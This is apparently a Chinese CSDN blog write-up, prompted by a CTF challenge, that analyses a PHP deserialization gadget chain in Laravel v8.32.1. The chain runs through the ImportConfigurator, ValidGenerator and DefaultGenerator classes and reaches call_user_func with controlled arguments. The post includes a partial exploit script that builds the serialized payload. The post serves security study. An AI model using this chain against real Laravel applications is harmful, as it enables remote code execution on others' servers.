搜索 一道CTF题引起的对laravel v8.32.1序列化利用链挖掘

本文详细介绍了在laravel v8.32.1版本中,如何挖掘和利用序列化漏洞,包括call_user_func、call_user_func_array、eval等函数的利用条件和过程,涉及CTF比赛实战经验。
摘要由CSDN通过智能技术生成

目录

0x00 前言

0x01 利用条件

0x02 环境配置

0x03 链条分析

call_user_func([可控],[可控])

网络安全学习资料点击白嫖

call_user_func([可控],[可控],[可控])

call_user_func_array([完全可控])

eval([完全可控])

0x00 前言

前几天刚搞完 V&NCTF ,里边有一道 easy_laravel 题目引起了我的注意(指挖了一下午的序列化链,结果路由不正确无法利用CVE反序列化,呜呜呜,气死我耶),于是就将整个有趣(心酸)的过程写出来分享一下吧。

0x01 利用条件

  • 需要配合一个完全可控的反序列化点( 比如结合CVE,不过这里的版本是目前最新版 v8.32.1 )

0x02 环境配置

先配好 8.32.1 版本的 laravel ,确保当前版本正确。

然后在 public/index.php 手动新建一个可控的序列化点:

0x03 链条分析

由于这里是另挖掘,所以我们就尽可能的避免 easy_laravel 题目WP所给的链条吧。

call_user_func([可控],[可控])

先从最简单的单参数任意函数执行开始吧。

分析

首先,来到入口点,不妨找一个需要有 __destruct 方法的类,且该方法拥有形如 $this->[可控]->xxx() 的语句,这样就能够方便的触发 __call 方法了。比如说 ImportConfigurator 类就是一个不错的开始。

下一步即是找一个较为符合的拥有 __call 方法的类了,比如这里可以选择 ValidGenerator 类,因为这个类的 __call 存在两个较为明显的 call_user_func/call_user_func_array 函数。

现在需要做的即是想尽办法让这两个函数其中一个的参数 可控 就行了。可以先分析第一个 call_user_func_array 函数,其中 $name 是不可控的,且值为 addCollection ,虽说 $this->generator 和 $arguments 是可控的,但要直接通过这两个可控的参数进行 rce 基本是不可能的。

那么再看一下 DefaultGenerator 类的 __call 方法。显然当这个方法被调用时,无论传入是啥 方法 或是 参数 都可以得到一个 [可控] 的任意值。

这时不妨回过头来看 ValidGenerator 类的 __call 方法中第二个 call_user_func 函数。在这个函数中 $this->validator 是可控的了,然后 $res 实际上是来自第一个 call_user_func_array 的返回值。那么假设现在咱们用第一个 call_user_func_array 方法去调用 DefaultGenerator 类的 __call 方法,既可以返回一个 [可控] 的值,也就是说 $res 现在也是可控的了。

综上,咱们现在实际上就可以得到形如 call_user_func([可控],[可控]) 的形式了。

此时需要构造的内容大致如下:

  • ImportConfigurator->parent = ValidGenerator类
  • ValidGenerator->maxRetries = 1
  • ValidGenerator->generator = DefaultGenerator类
  • DefaultGenerator->default = [任意可控函数参数]
  • ValidGenerator->validator = [任意可控函数名称]

图示

然后是简单的调用图示:

exp

<?php

namespace Symfony\Component\Routing\Loader\Configurator{
  
    class ImportConfigurator{
  
        private $parent;
        function __construct($c1){
  
            $this->parent = $c1;
        }
    }
}
namespace Faker{
  
    class DefaultGenerator{
  
        protected $default;
        function __construct($param){
  
            $this->default = $param;
        }
    }
    class ValidGenerator{
  
        protected $generator;
        protected $validator;
        protected $maxRetries;
        function __construct($func,$param){
  
            $this->generator = new DefaultGenerator($param);
            $this->maxRetries = 1;
            $this->validator = $func;
        }
    }
}
namespace{
  
    echo base64_encode(serialize(
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安溦寀

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值